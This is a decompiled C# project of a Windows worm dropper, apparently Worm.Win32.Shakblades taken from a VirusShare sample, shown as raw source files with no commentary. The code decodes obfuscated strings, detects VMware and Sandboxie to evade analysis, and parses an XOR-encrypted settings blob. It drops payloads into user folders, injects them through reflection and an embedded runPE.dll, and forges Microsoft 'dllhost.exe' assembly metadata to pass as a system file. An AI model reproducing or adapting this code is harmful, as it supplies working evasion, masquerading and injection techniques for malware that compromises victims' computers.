}
|
||||
catch
|
||||
{
|
||||
Xcpjaqmaubj2y0o3n.Vyydwy2dzohvetixn = false;
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] q1cagpbvwn04kmqyi(string lhs5nwmsu4p3h3rgf)
|
||||
{
|
||||
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(lhs5nwmsu4p3h3rgf))
|
||||
{
|
||||
byte[] buffer = new byte[1024];
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
int count = manifestResourceStream.Read(buffer, 0, buffer.Length);
|
||||
if (count > 0)
|
||||
memoryStream.Write(buffer, 0, count);
|
||||
else
|
||||
break;
|
||||
}
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
private static void Main(string[] args)
|
||||
{
|
||||
string empty = string.Empty;
|
||||
foreach (ManagementBaseObject instance in new ManagementClass(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Wn2Boi3_is")).GetInstances())
|
||||
{
|
||||
if (instance.Properties[Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Sranmeeilubr")].Value.ToString().Trim().ToLower().IndexOf(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("vwrmae")) > -1)
|
||||
{
|
||||
int num = (int) MessageBox.Show(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Ti plcto antb u navrulmcieevrnethsapiaincno erni ita ahn niomn."), Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("VrulMcieDtceita ahn eetd"), MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
if (Xcpjaqmaubj2y0o3n.GetModuleHandle(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("SiDldlbel.l")).ToInt32() != 0)
|
||||
{
|
||||
int num = (int) MessageBox.Show(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Ti plcto antb u naSnbxeevrnethsapiaincno erni adoi niomn."), Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("SnbxeDtceadoi eetd"), MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
new Xcpjaqmaubj2y0o3n().bocln5xhicnup1rlmeg3v0wq5fq30ikg2();
|
||||
}
|
||||
|
||||
private void ulry4uhtwnw50g04z(string xkcps1zic2cskbd1y)
|
||||
{
|
||||
string[] separator1 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Qslygidk2ydujmodz1hnjxa40is244mdu")
|
||||
};
|
||||
string[] separator2 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("swmnvnjfto3vjpznbcurldfzy")
|
||||
};
|
||||
string[] strArray1 = xkcps1zic2cskbd1y.Split(separator1, StringSplitOptions.None);
|
||||
string empty1 = string.Empty;
|
||||
string empty2 = string.Empty;
|
||||
string empty3 = string.Empty;
|
||||
for (int index = 1; index < strArray1.GetUpperBound(0); ++index)
|
||||
{
|
||||
string[] strArray2 = strArray1[index].Split(separator2, StringSplitOptions.None);
|
||||
byte[] numArray = rzo4euwupytyapwx03g5pnbwx.fuwrggsyeop321rci(strArray2[1]);
|
||||
string str1 = strArray2[2];
|
||||
bool boolean1 = Convert.ToBoolean(strArray2[3]);
|
||||
string Ibpa121djgybg55fkysgepjc0y2qiasb2 = strArray2[4];
|
||||
bool boolean2 = Convert.ToBoolean(strArray2[5]);
|
||||
bool boolean3 = Convert.ToBoolean(strArray2[6]);
|
||||
int int32 = Convert.ToInt32(strArray2[7]);
|
||||
bool boolean4 = Convert.ToBoolean(strArray2[8]);
|
||||
string str2 = this.yti5olupwaivlclet(Ibpa121djgybg55fkysgepjc0y2qiasb2);
|
||||
if (boolean1)
|
||||
{
|
||||
if (boolean3)
|
||||
numArray = this.T20r4skkjzxet5xxndjdxm23nq1de3ste(numArray, int32);
|
||||
if (boolean2)
|
||||
numArray = this.P2dz552iekyo3s3by(numArray);
|
||||
if (!boolean4)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.Rebbtyainmzrpdxrpkhemquuf = this.Ceyweulgsxaof4hwmnwokglbk(0);
|
||||
this.Fau0pig3abdcym2njphkzgkxl.Invoke(this.Rebbtyainmzrpdxrpkhemquuf, new object[3]
|
||||
{
|
||||
(object) numArray,
|
||||
(object) this.Ne4uiww2g1iuhqrgv,
|
||||
null
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errijcigbudfl nommr:ro netn on ieit eoy ") + Environment.NewLine + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errcd:ro oe ") + ex.Message);
|
||||
}
|
||||
}
|
||||
else if (!this.Qhlb0achfvgjxeekj(numArray))
|
||||
Console.WriteLine(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errijcigbudfl sn elcin ro netn on ieuigrfeto:"));
|
||||
}
|
||||
else
|
||||
{
|
||||
string Dutorh5b0eqbkqejp = str2 + str1;
|
||||
if (boolean2)
|
||||
numArray = this.P2dz552iekyo3s3by(numArray);
|
||||
this.Xu4noszs2jndqy0uakulzk0hj(numArray, Dutorh5b0eqbkqejp, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void ooaqlrxjthzq5ykyeqamxwsxh(byte[] Amqk5npffix20x5qn5x2vnb3b)
|
||||
{
|
||||
try
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Xcpjaqmaubj2y0o3n.pq0wico5ukmaxyfwlssnrl0r1nqartkt4));
|
||||
thread.SetApartmentState(ApartmentState.STA);
|
||||
thread.Start((object) Amqk5npffix20x5qn5x2vnb3b);
|
||||
thread.Join();
|
||||
}
|
||||
catch
|
||||
{
|
||||
Xcpjaqmaubj2y0o3n.Vyydwy2dzohvetixn = false;
|
||||
}
|
||||
}
|
||||
|
||||
private string yti5olupwaivlclet(string Ibpa121djgybg55fkysgepjc0y2qiasb2)
|
||||
{
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("ApiainPtplcto ah"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Application.StartupPath + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Tmep"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Path.GetTempPath();
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("ApaapDt"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("M ouetyDcmns"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Dstpeko"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Ue rflsrPoie"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetEnvironmentVariable(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("UEPOIESRRFL")) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("PormFlsrga ie"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
return Ibpa121djgybg55fkysgepjc0y2qiasb2;
|
||||
}
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-6d5fef800026555b0865a8fd9ba051fda07985211385e0bd92a5e9a77af03653.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{BCF586B2-5DC1-4408-970B-5A7865D395D2}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>pff4wjti</AssemblyName>
|
||||
<ApplicationVersion>6.1.7600.16385</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Zgyvqmp0xpqwooihm.cs" />
|
||||
<Compile Include="rzo4euwupytyapwx03g5pnbwx.cs" />
|
||||
<Compile Include="G1iw5jvdvf5jyuwmtz03k02vp\Mvsaeg2eeoaqx3utk.cs" />
|
||||
<Compile Include="Tm2tqtua3sspuhohl2o5frgcxkwutet2c\Xcpjaqmaubj2y0o3n.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="runPE.dll" />
|
||||
<EmbeddedResource Include="Settings.xml" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "pff4wjti", "Worm.Win32.Shakblades.ajg-6d5fef800026555b0865a8fd9ba051fda07985211385e0bd92a5e9a77af03653.csproj", "{BCF586B2-5DC1-4408-970B-5A7865D395D2}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{BCF586B2-5DC1-4408-970B-5A7865D395D2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{BCF586B2-5DC1-4408-970B-5A7865D395D2}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{BCF586B2-5DC1-4408-970B-5A7865D395D2}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{BCF586B2-5DC1-4408-970B-5A7865D395D2}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Zgyvqmp0xpqwooihm
|
||||
// Assembly: pff4wjti, Version=6.1.7600.16385, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 5406B450-382A-49C3-BEAD-27BB328AB378
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-6d5fef800026555b0865a8fd9ba051fda07985211385e0bd92a5e9a77af03653.exe
|
||||
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
public static class Zgyvqmp0xpqwooihm
|
||||
{
|
||||
public static int Qjej3zah1v0qd232c = 129;
|
||||
|
||||
public static byte[] Rhjia2qmjg1uefwsxroduqr0s(byte[] Gtuvri4z1npalso5jwqoi0iru)
|
||||
{
|
||||
for (int index = 0; index < Gtuvri4z1npalso5jwqoi0iru.Length; ++index)
|
||||
{
|
||||
char ch = (char) ((uint) Convert.ToChar(Gtuvri4z1npalso5jwqoi0iru[index]) ^ (uint) Zgyvqmp0xpqwooihm.Qjej3zah1v0qd232c);
|
||||
Gtuvri4z1npalso5jwqoi0iru[index] = Convert.ToByte(ch);
|
||||
}
|
||||
return Gtuvri4z1npalso5jwqoi0iru;
|
||||
}
|
||||
|
||||
public static string A1ns3kzzckrkw2k2snvelcbss(string Vxl3tfinjjgkwgrbaafdapoa1)
|
||||
{
|
||||
int length = Vxl3tfinjjgkwgrbaafdapoa1.Length;
|
||||
string str1 = Vxl3tfinjjgkwgrbaafdapoa1.Substring(0, (Vxl3tfinjjgkwgrbaafdapoa1.Length + 1) / 2);
|
||||
string str2 = Vxl3tfinjjgkwgrbaafdapoa1.Substring((Vxl3tfinjjgkwgrbaafdapoa1.Length + 1) / 2, Vxl3tfinjjgkwgrbaafdapoa1.Length - (Vxl3tfinjjgkwgrbaafdapoa1.Length + 1) / 2);
|
||||
int num = 0;
|
||||
StringBuilder stringBuilder = new StringBuilder(str1);
|
||||
for (int index = 0; index < str2.Length; ++index)
|
||||
{
|
||||
stringBuilder.Insert(num + 1, str2[index]);
|
||||
num += 2;
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
+33
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: rzo4euwupytyapwx03g5pnbwx
|
||||
// Assembly: pff4wjti, Version=6.1.7600.16385, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 5406B450-382A-49C3-BEAD-27BB328AB378
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-6d5fef800026555b0865a8fd9ba051fda07985211385e0bd92a5e9a77af03653.exe
|
||||
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
public static class rzo4euwupytyapwx03g5pnbwx
|
||||
{
|
||||
public static string trdpamic2sckcdwunnjaiq5ctjzbh44ol(byte[] B153fsulcysdl0fl1)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
for (int index = 0; index < B153fsulcysdl0fl1.Length; ++index)
|
||||
{
|
||||
char ch = Convert.ToChar(B153fsulcysdl0fl1[index]);
|
||||
stringBuilder.Append(Convert.ToString(ch));
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
public static byte[] fuwrggsyeop321rci(string Tqvl4fhqiermjhlan)
|
||||
{
|
||||
byte[] numArray = new byte[Tqvl4fhqiermjhlan.Length];
|
||||
for (int startIndex = 0; startIndex < Tqvl4fhqiermjhlan.Length; ++startIndex)
|
||||
{
|
||||
char ch = Convert.ToChar(Tqvl4fhqiermjhlan.Substring(startIndex, 1));
|
||||
numArray[startIndex] = Convert.ToByte(ch);
|
||||
}
|
||||
return numArray;
|
||||
}
|
||||
}
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Permissions;
|
||||
|
||||
[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]
|
||||
[assembly: Guid("4ef180dc-8ba3-43bb-80b8-51c047a80913")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]
|
||||
[assembly: AssemblyFileVersion("6.1.7600.16385")]
|
||||
[assembly: AssemblyCompany("Microsoft Corporation")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyDescription("COM Surrogate")]
|
||||
[assembly: AssemblyTitle("dllhost.exe")]
|
||||
[assembly: AssemblyVersion("6.1.7600.16385")]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: G1iw5jvdvf5jyuwmtz03k02vp.Mvsaeg2eeoaqx3utk
|
||||
// Assembly: pff4wjti, Version=6.1.7600.16385, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 5406B450-382A-49C3-BEAD-27BB328AB378
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Worm.Win32.Shakblades.ajg-9d1b9cde375114da6f4c66efbdae5f5f253766dca1651abfc7c38653f32c21ea.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace G1iw5jvdvf5jyuwmtz03k02vp
|
||||
{
|
||||
public class Mvsaeg2eeoaqx3utk
|
||||
{
|
||||
[DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern IntPtr cz23ictx0pf1xcpsqzxf3ue5fsjhmn3fi(string lpModuleName);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "FindResourceA")]
|
||||
public static extern IntPtr Nyja0dryfvflph11ok4ga5zpz(
|
||||
IntPtr hModule,
|
||||
int lpID,
|
||||
string lpType);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "LoadResource", SetLastError = true)]
|
||||
public static extern IntPtr Xpo3aq0mxqyvzr1zld5qguuzg(IntPtr hModule, IntPtr hResInfo);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "SizeofResource", SetLastError = true)]
|
||||
public static extern uint Wy3i4lea5jxu3fiu1mt0jbvl4gefufsn2(IntPtr hModule, IntPtr hResInfo);
|
||||
}
|
||||
}
|
||||
+1
@@ -0,0 +1 @@
|
||||
½¾ùìí¡÷äóòèîï¼£°¯±£¾¿½ÑóîõäâõèîïÒõôã×àíôäò¿¡¡½Åäíèìèõäóò¿¡¡¡¡½ÒõôãÅäíèì¿ûîìíøµõôó´ñûøíàà´½®ÒõôãÅäíèì¿¡¡¡¡½ÌäòòàæäÅäíèì¿óôñ±ò³ñõàìô÷ëñìççóââçîäåê½®ÌäòòàæäÅäíèì¿¡¡¡¡½ÀíæîÅäíèì¿÷÷ìèéè³°ñíîòù´²³é½®ÀíæîÅäíèì¿¡¡¡¡½ìèòâäííàïäîôòÅäíèì¿ôìîé²ãìâèååå÷ùõûéöû÷µæôµò½®ìèòâäííàïäîôòÅäíèì¿¡¡¡¡½öäãÆäõÅäíèì¿éçûâîìøøìæ´÷û°±°èø°ðùøìàó½®öäãÆäõÅäíèì¿¡¡¡¡½ÃîôïåÇèíäÅäíèì¿òñöûìïïã÷âïôëóçíõåîç²û÷øë½®ÃîôïåÇèíäÅäíèì¿¡¡¡¡½ÏäöÃîôïåÇèíäÅäíèì¿Ð°òéíïøëæùèàåµê±³èøòå³ôµëµììîååôû½®ÏäöÃîôïåÇèíäÅäíèì¿¡¡½®Åäíèìèõäóò¿¡¡½Óäòîôóâäò¿¡¡¡¡½ÓäòîôóâäÕøñä¿¡¡¡¡¡¡½ÒäõõèïæòÕøñä¿Â×ÂÏÒÇÈÓ±ÕÈÄÛÏ˲ÉׯËÒ±°³Î½®ÒäõõèïæòÕøñä¿¡¡¡¡¡¡½ÅàõàÕøñä¿ÃÃÔ°Ä×רű×ÎÄÇÉÔÕ°×ÇÃÅØÃÖ½®ÅàõàÕøñä¿¡¡¡¡¡¡½ÃèïåäóÕøñä¿À´ÉÂÀÛÀÎËØÖ³Ç´ÙÏÐÀÓËÖ°ÊÙ´Ô´±ÅÕÃÇǽ®ÃèïåäóÕøñä¿¡¡¡¡½®ÓäòîôóâäÕøñä¿¡¡¡¡½ÓäòîôóâäÈÅ¿¡¡¡¡¡¡½ÒäõõèïæòÈÅ¿°·½®ÒäõõèïæòÈÅ¿¡¡¡¡¡¡½ÅàõàÈÅ¿µµ½®ÅàõàÈÅ¿¡¡¡¡¡¡½ÃèïåäóÈÅ¿µ¶½®ÃèïåäóÈÅ¿¡¡¡¡½®ÓäòîôóâäÈÅ¿¡¡½®Óäòîôóâäò¿¡¡½Óäìî÷äÂîåä¿¡¡¡¡½ÌäòòàæäÃîù¿Õóôä½®ÌäòòàæäÃîù¿¡¡¡¡½Òõàóõôñ¿Õóôä½®Òõàóõôñ¿¡¡¡¡½Ãèïåäó¿Õóôä½®Ãèïåäó¿¡¡¡¡½Âîìñóäòòèîï¿Õóôä½®Âîìñóäòòèîï¿¡¡¡¡½ÖäãÆäõ¿Õóôä½®ÖäãÆäõ¿¡¡½®Óäìî÷äÂîåä¿¡¡½ÕóàïòçäóÕøñä¿¡¡¡¡½Óäòîôóâä¿Õóôä½®Óäòîôóâä¿¡¡½®ÕóàïòçäóÕøñä¿¡¡½ÓôïÑÄÌèòòèïæ¿¡¡¡¡½ÌèòòèïæÑÄ¿Çàíòä½®ÌèòòèïæÑÄ¿¡¡¡¡½ÒõôãÄïâóøñõèîï¿¡¡¡¡¡¡½äïâóøñõèîïÔòäå¿ÙÎÓ½®äïâóøñõèîïÔòäå¿¡¡¡¡¡¡½àííÄïâóøñõèîïò¿Çàíòä½®àííÄïâóøñõèîïò¿¡¡¡¡½®ÒõôãÄïâóøñõèîï¿¡¡½®ÓôïÑÄÌèòòèïæ¿½®ÑóîõäâõèîïÒõôã×àíôäò¿
|
||||
+561
@@ -0,0 +1,561 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Tm2tqtua3sspuhohl2o5frgcxkwutet2c.Xcpjaqmaubj2y0o3n
|
||||
// Assembly: pff4wjti, Version=6.1.7600.16385, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 5406B450-382A-49C3-BEAD-27BB328AB378
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Worm.Win32.Shakblades.ajg-9d1b9cde375114da6f4c66efbdae5f5f253766dca1651abfc7c38653f32c21ea.exe
|
||||
|
||||
using G1iw5jvdvf5jyuwmtz03k02vp;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Management;
|
||||
using System.Net;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Tm2tqtua3sspuhohl2o5frgcxkwutet2c
|
||||
{
|
||||
public class Xcpjaqmaubj2y0o3n
|
||||
{
|
||||
private static bool Vyydwy2dzohvetixn = true;
|
||||
private byte[] Xvzsy20ikq50fiuzzzsw14i22;
|
||||
private bool n2gipyxzj1jd3ijqb;
|
||||
private string fzeil4ihxre2gqh3ygpyffp15;
|
||||
private string qw2lxynmeozut0doo;
|
||||
private string Cllbarbs03nsn03hk0bknvl3n = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private int I12ss4uzgimbzl5qa;
|
||||
private int dluh54iqwipbeun4nsizlk3foyfinw5wt;
|
||||
private int Hgmfkbt4atcy55dirqkgtdkb5;
|
||||
private string Dx4pxl4hlvcwokaeq = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("XRO");
|
||||
private string zyygx4b4iahtt0izd = string.Empty;
|
||||
private string Q5aj14jzmb5gozvrp = string.Empty;
|
||||
private int Sqsgcrexehem0lg3mionbxiuw;
|
||||
private string Qeujo4xlzlmqxzlwt = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private string N4rfcpacyzvdyb5o5pseuwja0 = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private string ovvhzz3v4t0lncqhc = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private string hpyhkefmdy2fikaqvpxkxke4zwemgdqgs = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private string Yu13rcd5iimiqemzz = string.Empty;
|
||||
private string Ouyjahe11vseyu1gc = string.Empty;
|
||||
private string Wbmpi5i4bd1p35dfa2s0jd2tykyightoe = string.Empty;
|
||||
private string wlzgy5x503ocrxvto = string.Empty;
|
||||
private string mlzo2db1vixlaay2xx3qm1uh1 = string.Empty;
|
||||
private string Ifbnriw30u3zqko1o = string.Empty;
|
||||
private string O52jpa3c1kjywan03 = string.Empty;
|
||||
private string aebl4g0r22vys142j542rkxik = string.Empty;
|
||||
private string Pi5xwja3tpz1vyvxe0bvaszsw = string.Empty;
|
||||
private string W0igi2snxiuevrujvdeszp1bxkguemxod = string.Empty;
|
||||
private string Osbrxysckqx0aqx1lzguqifvs = string.Empty;
|
||||
private bool Zx2ycojwb320y2n31;
|
||||
private bool Kbkqxyuop35q5nercdcrjitsn;
|
||||
private string Ueczuk1jlbi3nbg5x2h1wuon0 = string.Empty;
|
||||
private string Ne4uiww2g1iuhqrgv = string.Empty;
|
||||
private bool waiw3pzzuvdgyn5dx3idhqwhncujkp40q;
|
||||
private string upzpncz1hdeloi5k3rlq4a14w = string.Empty;
|
||||
private string ogs5wi51r3m1bqoyn = string.Empty;
|
||||
private string Fl1t0wgsikf4mpxykcardit3b = string.Empty;
|
||||
private string Abfzh2zlzdzdgmqoqnumemerp = string.Empty;
|
||||
private bool etx2nx1n4akedmv4fu2mqzcc0;
|
||||
private bool Dwfbus3rr2dghn14mxukem4jr;
|
||||
private bool Bm3illttk5nwmenvbn3jbmios;
|
||||
private bool s1rnoof103dimlt4vbd0kazwizm4euy4s;
|
||||
private object Rebbtyainmzrpdxrpkhemquuf;
|
||||
private MethodInfo Fau0pig3abdcym2njphkzgkxl;
|
||||
|
||||
private void xpjiguggif5df23oi(string xkcps1zic2cskbd1y)
|
||||
{
|
||||
string[] separator1 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("rpspaujmfcfeku02tmvpfrcod")
|
||||
};
|
||||
string[] strArray1 = xkcps1zic2cskbd1y.Split(separator1, StringSplitOptions.None);
|
||||
string[] separator2 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("vmh2pox3hvii1ls52")
|
||||
};
|
||||
string[] strArray2 = xkcps1zic2cskbd1y.Split(separator2, StringSplitOptions.None);
|
||||
string[] separator3 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("uo3midvthz4usmhbcddxzwvg4")
|
||||
};
|
||||
string[] strArray3 = xkcps1zic2cskbd1y.Split(separator3, StringSplitOptions.None);
|
||||
string[] separator4 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("hzoym5z0i1xmrfcmygv11yqya")
|
||||
};
|
||||
string[] strArray4 = xkcps1zic2cskbd1y.Split(separator4, StringSplitOptions.None);
|
||||
this.Cllbarbs03nsn03hk0bknvl3n = strArray1[1];
|
||||
this.fzeil4ihxre2gqh3ygpyffp15 = strArray1[2];
|
||||
this.qw2lxynmeozut0doo = strArray1[3];
|
||||
this.I12ss4uzgimbzl5qa = Convert.ToInt32(strArray1[4]);
|
||||
this.dluh54iqwipbeun4nsizlk3foyfinw5wt = Convert.ToInt32(strArray1[5]);
|
||||
this.Hgmfkbt4atcy55dirqkgtdkb5 = Convert.ToInt32(strArray1[6]);
|
||||
this.Dx4pxl4hlvcwokaeq = strArray2[1];
|
||||
this.zyygx4b4iahtt0izd = strArray2[2];
|
||||
